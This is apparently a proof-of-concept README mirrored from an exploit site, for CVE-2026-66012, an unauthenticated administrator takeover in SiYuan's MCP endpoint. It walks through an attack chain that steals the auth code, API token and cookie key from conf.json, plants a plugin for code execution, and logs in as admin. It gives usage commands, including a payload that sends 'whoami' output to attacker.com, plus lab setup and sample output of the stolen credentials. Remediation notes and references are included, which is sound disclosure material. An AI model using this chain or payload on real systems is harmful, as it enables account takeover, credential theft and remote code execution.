Share
## https://sploitus.com/exploit?id=966D5755-38DD-590D-A412-4BFEABA9FEE1
# CVE-2026-66012 โ€” SiYuan MCP Unauthenticated Administrator Takeover

Proof of Concept for **CVE-2026-66012** (CVSS 10.0 Critical), a missing-authorization vulnerability in SiYuan's MCP (Model Context Protocol) endpoint that allows an unauthenticated attacker to achieve administrator takeover and remote code execution when the Publish server is enabled in anonymous mode.

## Vulnerability Summary

| Field | Value |
|---|---|
| **CVE** | CVE-2026-66012 |
| **CVSS 3.1** | 10.0 Critical |
| **CWE** | CWE-862 โ€” Missing Authorization |
| **Affected** | SiYuan < v3.7.2 |
| **Fixed** | v3.7.2 (commit `df51c2bda696`) |
| **Reporter** | Nguyen Van Hiep (@hypnguyen1209), MBBank |

## Root Cause

Three defects compose into the attack chain:

1. **`POST /mcp`** is registered with `model.CheckAuth` only โ€” no `CheckAdminRole` or `CheckReadonly`. Any valid JWT (including Reader-scoped) can invoke all 31 MCP tools.
2. The **tool dispatcher** (`handler.go`) calls tools without inspecting the caller's role.
3. The **Publish reverse proxy** injects an anonymous `RoleReader` JWT into every request when `Publish.Auth.Enable=false`, converting the missing-authorization bug into an unauthenticated one.

## Attack Chain

1. **MCP handshake** via `POST /mcp` on the Publish port (no credentials)
2. **Read `conf/conf.json`** โ†’ extract `accessAuthCode`, `api.token`, `cookieKey`
3. **Plant a plugin** at `data/plugins/pwn/` โ†’ RCE on next desktop launch via `nodeIntegration:true`
4. **Admin login** on port 6806 using the stolen `accessAuthCode`

## Prerequisites

- Python 3.8+
- `requests` library (`pip install requests`)
- Docker 20.10+ (for lab setup only)

## Usage

```bash
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
```

## Lab Setup

**For authorized testing only.** Set up a vulnerable instance locally:

```bash
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
```

## Expected Output

```
=================================================================
CVE-2026-66012 โ€” SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
```

## Remediation

Upgrade to **SiYuan v3.7.2 or later**. The fix (commit `df51c2bda696`) applies:
1. `CheckAdminRole` + `CheckReadonly` middleware on `/mcp` route
2. Explicit block on `conf/conf.json` access in the file tool
3. Publish proxy path allowlisting (admin paths return 401 for anonymous users)

## References

- [GHSA-cvhv-7xhj-xjp8](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cvhv-7xhj-xjp8)
- [NVD CVE-2026-66012](https://nvd.nist.gov/vuln/detail/CVE-2026-66012)
- [Fix commit df51c2bd](https://github.com/siyuan-note/siyuan/commit/df51c2bda696)
- [VulnCheck Advisory](https://www.vulncheck.com/advisories/siyuan-before-unauthenticated-administrator-takeover-via-mcp)

## Disclaimer

This PoC is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse of this code.